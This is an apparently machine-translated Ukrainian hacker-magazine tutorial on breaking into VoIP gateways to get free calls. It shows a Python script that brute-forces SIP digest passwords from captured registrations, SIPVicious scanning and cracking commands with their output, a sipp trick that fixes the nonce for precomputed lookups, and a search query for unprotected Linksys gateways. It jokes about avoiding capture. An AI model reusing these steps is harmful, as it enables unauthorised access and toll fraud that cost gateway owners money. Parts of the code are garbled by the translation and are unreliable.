Кожному хакеру – по VoIP шукаємо та зламуємо VoIP-шлюзи


Xakep #239. Розкрити та вивчити

Xakep #238. Забутий Android

Xakep #237. Даркнет 2018


Xakep #235. Відродження експлоїт-китів
Кожному хакеру – по VoIP: шукаємо та зламуємо VoIP-шлюзи
Зміст статті
З чого все починалося
На тему астерісків та підбору паролів до них написано дуже багато статей. Люди в темі, напевно, чули про набір утиліт sipvicious, а багато їх навіть уже спробували. Однак, коли ти скануєш мережу за допомогою svmap.py (скрипт входить до вищезгаданого комплекту), то в Мережі окрім астерісків знаходяться різні VoIP-залізниці, як то: Cisco, AddPac, Linksys і так далі. Як правило, вони мають власний web-інтерфейс. І якщо ти думаєш, що він запаролений, то ти, напевно, маєш рацію. Але не завжди :). Linksys за промовчанням не має пароля на веб-інтерфейсі. А дарма, адже багато їхніх залізок можуть бути доступні ззовні.
Освоюємося
SIP-реєстрація
Розглянемо, як відбувається процес SIP-реєстрації. Спочатку клієнт відправляє на Softswitch (наприклад, Asterisk) запит "REGISTER", у якому немає пароля, а є лише contact. У відповідь надходить повідомлення "401 Unauthorized", в якому зазначено, що потрібно пройти "Digest access authentication". У надісланому повідомленні згенеровані nonce та realm. Використовуючи nonce та realm (отримані від сервера), пароль та username (прописані на шлюзі), а також digesturi, шлюз генерує md5-хеш – response – і відправляє все це назад на Softswitch, який перевіряє надіслані дані. Якщо вони вірні, то повертає 200 ОК, якщо ні — знову 401. Виходить, якщо дістати дамп реєстрації, то в тебе будуть всі дані, крім пароля, а його можна буде підібрати. Для цього встановлюємоастериск, заводимо в ньому єдиний peer, вбиваємо username, як на шлюзі, і прописуємо будь-який пароль. Потім застосовуємо налаштування.
Найпростіший бенкет з /etc/sip.conf:
[peru] type=friend username=username зі шлюзу secret=helloworld host=dynamic disallow=all allow=alaw allow=ulaw
11 мільйонів євро збитків від діяльності VOIP хакерів
Як свідчать документи слідства, спочатку хлопці обмежувалися безкоштовними дзвінками у різних напрямках. Але апетити, як відомо, ростуть, і хлопці швидко збагнули, як можна це монетизувати. За два роки вони зробили більше 23 500 дзвінків (це 315 000 хвилин) на платні номери, що пропонують за гроші найрізноманітніші послуги (насамперед довідкового типу). Прибуток виходив від участі у партнерських програмах із провайдерами цих найплатніших номерів. Було отримано перший прибуток. Усвідомивши, що вдвох заробити багато не вийде, було створено спеціальну компанію Shadow Communication Company Ltd. З цього моменту бізнес вийшов на новий рівень. Наймаючи людей і реалізувавши для співробітників зручний інтерфейс (у ньому, наприклад, відображалися ціни для дзвінків на платні номери та спеціальні умови на кшталт обмеження кількості виконаних дзвінків на день), вони зуміли досягти абсолютно нових вершин. Більше того, було організовано компанію, яка сама надавала можливість реєстрації платних номерів, а для більш ефективної роботи — система рефералів, що стимулює активність.
Тепер уже стає ясно, звідки взялася така нечувана сума збитків для чесних користувачів VoIP. Силами Shadow Communication Company було здійснено 1541187 несанкціонованих дзвінків - це 11094167 хвилин розмови. Не дивуйся таким цифрам: це підрахунок з логів,наданих VoIP-провайдерами. Зараз у справі проходять 42 особи у різних містах Європи.
Підбір пароля
Далі я відкриваю дамп (наприклад, за допомогою Wireshark). Там знаходжу пакет REGISTER із response — тепер усі дані є, і справа за малим — написати скрипт для підбору пароля. До речі, можна ловити дані і в консолі астериску, для цього набираємо в CLI "sip set debug on" і дивимося вміст пакетів. Зважаючи на те, що скрипт, за допомогою якого було знайдено шлюз, писався на пітоні, я вирішив не відступати від традиції і написав черговий сценарій також на пітоні. У ньому мені потрібно перебирати весь алфавіт. Для цього я використовував готовий клас - він вирішує проблему з генерацією всіх можливих варіантів пароля і дозволяє задати алфавіт для перебору (тобто шукати тільки серед цифр, малих літер і будь-яких поєднань). А також задати довжину пароля, початкове та кінцеве його значення.
Запит на реєстрацію у Wireshark
#!/usr/bin/python import md5 # підключаємо бібліотеку, яка генеруватиме md5-хеш
далі йде клас для підбору пароля
перелік алфавітів
en = "abcdefghijklmnopqrstuvwxyz" digits = "1234567890" space = " " p = ",.-!?;:'"/()" op = "+-/:^ ()> '";:[]<>" class ABCIterator:
. тут слідує клас, зпертий з інтернету :)
клас закінчився, переходимо до введення даних
u=(raw_input('username >> ')); b=(raw_input('realm >> ')); m=(raw_input('method >> '));
d = (raw_input('digestURI >> ')); r = (raw_input('response >> ')); n = (raw_input('nonce >> ')); print u,b,m,d,r,n; ha2= md5.new(m+»:»+d).hexdigest();
генеруємо частину ha2 - вона буде використовуватися для хешування
response=0; ch=0; # в цю змінну зберігатиметься
порядковий номер пароля
for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
вказуємо, що довжина пароля починається з 1,
закінчується на 8, # і при переборі використовуються
цифри та літери нижнього регістру
ch = ch +1; if ch % 500000 == 0: print i;
це дозволяє виводити на екран тільки кожен 500 000-ий
варіант пароля
ha1 = md5.new(u+»:»+b+»:»+i).hexdigest(); response = md5.new(ha1+»:»+n+»:»+ha2).hexdigest(); # хешуємо if r == response: # порівнюємо хеш з отриманим від шлюзу print «——————>», i;
якщо вони збігаються, виводить пароль та припиняємо пошук
Багато атак на VoIP зводяться до пошуку неправильно налаштованих PBX (private branch exchange) або, по-українському, офісних АТС. Різного роду сканування, аналіз та підбір паролів найчастіше здійснюються за допомогою згаданого в тексті статті набору скриптів SIPVicious, написаних на Python'і та працюючих під різними ОС. Щоб краще розуміти матеріал, пригадаємо, як здійснюються основні дії на прикладі.
1. Сканування діапазону підмережі (нехай це буде 192.168.1.1/24), щоб знайти BPX.
[you@box sipvicious]$ ./svmap 192.168.1.1/24 SIP Device User Agent ------------------------- -------------------- 192.168.1.103:5060 Asterisk PBX
[you@box sipvicious]$ ./svwar.py 192.168.1.103 Extension Authentication --------------------------- --- 123 reqauth 100 reqauth 101 noauth
3. Підбір пароля, підставляючи числові значення (вони використовуються більш ніж часто):
[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100 Extension Password ------------------------ 100 100
Для extension'а «100» пароль підібраний!
4. Підбір пароля з використанням словника:
[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt Extension Password ------------------- ----- 123 secret
Є пароль для номера 123!
Пароль знайдено
Отже, скрипт відпрацював і підібрав пароль, а отже, можна прописувати дані в астериск і думати, що реєстрація пройшла успішно. Новий халявний транк для дзвінків на Кубу готовий. Загалом технологію можна доопрацювати, адже щоразу перебирати пароль недоцільно. Маючи доступ до шлюзу, можна змінювати не тільки значення Proxy, але й username. Якщо знайдені шлюзи реєструвати завжди на тому самому сервері, то realm завжди буде asterіsk, а digesturi — не змінюється. Це означає, що достатньо навчитися завжди надсилати у відповідь на REGISTER повідомлення 401 з постійним nonce. Тоді можна складати свою таблицю з хеш паролів, так як всі параметри від шлюзу до шлюзу будуть однакові (крім пароля). Потрібно перебирати всі можливі паролі з постійними realm, digesturi, username, метод - REGISTER, nonce і зберігати в базу відповідність "пароль-response", причому для кожного нового шлюзу тільки робити вибірку по response і відразу знаходити пароль. Потім генерувати у відповідь на реєстрацію пакет 401 з тим самим nonce (це може програма sipp). Якщо скласти таку базу даних, то можна відкривати сервіс відновлення забутих на шлюзах паролів для реєстрації, ось тільки база вийде занадто об'ємною :). Щоб відповідати на REGISTER шлюзу у sipp, треба використовувати сценарій.
Cценарій для sipp - nonce.xml:
To: username зі шлюзу Call-ID: [call_id] CSeq: [cseq] REGISTER Server:Asterisk PBX 1.6.2.13 Дозволено: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Доступно: replaces, timer WWW-authenticate: Digest algorithm=MD5, realm="asterisk", nonce=" -Length: [len] ]]>
Завдяки опції sipp відправить наш «магічний» пакет, тільки коли прийде запит на реєстрацію. Зупиняємо астериск, щоб він не відповідав на запити зі шлюзу, потім створюємо сценарій і з цієї папки запускаємо sipp:
sipp -sf nonce.xml *ip шлюзу* -i *ip c Asterisk* -trace_msg -l 10 -r 1 -rp 1000
Запускаємо tshark із записом у файл і пробуємо зареєструвати шлюз. Відкриваємо дамп та знову бачимо всі дані, які потрібні для перебору.
Видобуті дані можна використовувати для фальшивої реєстрації на сервері, навіть не підбираючи пароль, але це вже тема для іншої статті. Ось такий нехитрий спосіб забезпечити себе безкоштовними дзвінками, якщо пощастить - то в будь-яку точку світу, а якщо сильно пощастить (або якщо використовувати запобіжні заходи), то ще й ніколи не спіймають :).
Насправді незапаролені шлюзи можна шукати і за допомогою Google. Якщо в пошуковому запиті ввести intitle: Sipura SPA Configuration, то знайдеться чимало шлюзів Лінксис, на яких не виставлений пароль.